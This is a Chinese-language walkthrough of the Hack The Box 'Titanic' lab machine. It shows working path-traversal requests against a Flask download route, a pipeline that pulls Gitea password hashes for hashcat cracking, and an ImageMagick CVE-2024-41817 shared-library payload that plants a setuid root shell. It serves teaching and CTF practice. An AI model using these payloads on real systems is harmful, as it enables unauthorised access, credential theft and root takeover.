┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# nmap 10.10.11.55 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:53 EDT
Warning: 10.10.11.55 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.55
Host is up (0.14s latency).
Not shown: 62887 closed tcp ports (reset), 2646 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 43.19 seconds
┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# nmap 10.10.11.55 -p 22,80 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:55 EDT
Nmap scan report for Titanic.htb (10.10.11.55)
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-title: Titanic - Book Your Ship Trip
|_Requested resource was http://titanic.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds
┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# dirsearch -u http://titanic.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/Desktop/htb/Titanic/reports/http_titanic.htb/__25-08-03_10-57-26.txt
Target: http://titanic.htb/
[10:57:26] Starting:
[10:58:01] 405 - 153B - /book
[10:58:14] 400 - 41B - /download
[10:58:48] 403 - 276B - /server-status/
[10:58:48] 403 - 276B - /server-status
Task Completed
┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# ffuf -u http://titanic.htb/ -H "host: FUZZ.Titanic.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev'
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.Titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
`dev` [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 239ms]
:: Progress: [4989/4989] :: Job [1/1] :: 402 req/sec :: Duration: [0:00:19] :: Errors: 0 ::
访问dev.titanic.htb,注册账号登录即可获取到仓库的相关信息
mysql 密码
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
仓库里面也泄露了app.py的代码
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
值得注意的是 /download
这个路由,他接受一个 ticket
参数,这个参数会与 TICKETS_DIR
一起拼接成为一个绝对路径,然后返回这个路径的文件
这里可以直接读取到 user.txt
GET /download?ticket=../../../../../home/developer/user.txt HTTP/1.1
Host: titanic.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
目前可以获取到user.txt,但是还是没有能获取到一个shell.
我刚刚获取到了一个数据库密码,尝试登录 developer
用户
但是失败了,这不是此用户的密码
那我们只能尝试读取一些其他的配置文件了
在gitea仓库中的 docker-compose.yml
中 我发现了容器卷的映射关系
volumes:
- /home/developer/gitea/data:/data
你可以从 Gitea文档中获取到相关有用的信息
这里描述的自定义文件应放置在
/data/gitea
目录中。如果使用主机卷,访问这些文件非常简单;对于命名卷,这是通过另一个容器或通过直接访问/var/lib/docker/volumes/gitea_gitea/_data
完成的。安装后,配置文件将保存在/data/gitea/conf/app.ini
尝试读取这个 app.ini
GET /download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
这里面泄露了一个数据库文件路径
获取这个数据库文件
可以获取到很长的hash密码
┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'|wc -c
100
长度为100位,显然这不是hashcat可以识别的hash,也无法进行爆破
这种hash是Gtiea对原hash进行加密后的结果,0xdf有一篇文章 中讲到了这种hash的破解
┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
admin1:sha256:50000:X6RgwstXIEX7jnMJ3aJLIg==:rB52rE+dehupXcRVSs9zVZ25veRXJLVWlc/HE+zzwR1+XtuI1/rZbtid7pzoAG0qQSU=
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
可以破解出 developer
用户的密码
给了一个高亮的路径,但是这并没有什么用
我又尝试使用pspy64进行观察
但是我发现pspy失效了,没有平时那么好用
它竟然只能看到当前用户的进程,看不到root的进程
我尝试使用ps -aux
看一下
确实只有当前用户的进程,没有其他用户(包括root)的进程
后面了解到这是因为 /proc 被挂载时设置了 hidepid 选项,使其不可见
#developer@titanic:/tmp$ mount | grep "/proc "
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,`hidepid=invisible`)
它越是这样,越让我确信这里肯定是有一个定时任务的,
我在 /opt
目录下发现了有趣的 .sh
文件
#developer@titanic:/opt/scripts$ ls -l
total 4
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
它是root所有的,但是我可以查看
identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
metadata.log
里面是一些图片的日志
#developer@titanic:/opt/app/static/assets/images$ cat metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.001
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000
如果你够细心,你会发现这个文件每分钟都会被修改
那么很可能每分钟都会运行一次那个 identify_images.sh
观察 identify_images.sh
你会发现里面大概率存在漏洞的是 magick
先看一下版本
#developer@titanic:/opt/app/static/assets/images$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
然后搜索对应的关键词
参考这篇文章进行利用:CVE-2024–41817: How Env Var Triggers RCE in ImageMagick’s AppImage | by MindPatch | Medium
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/exp;chmod +s /tmp/exp");
exit(0);
}
EOF
magic home.jpg /dev/null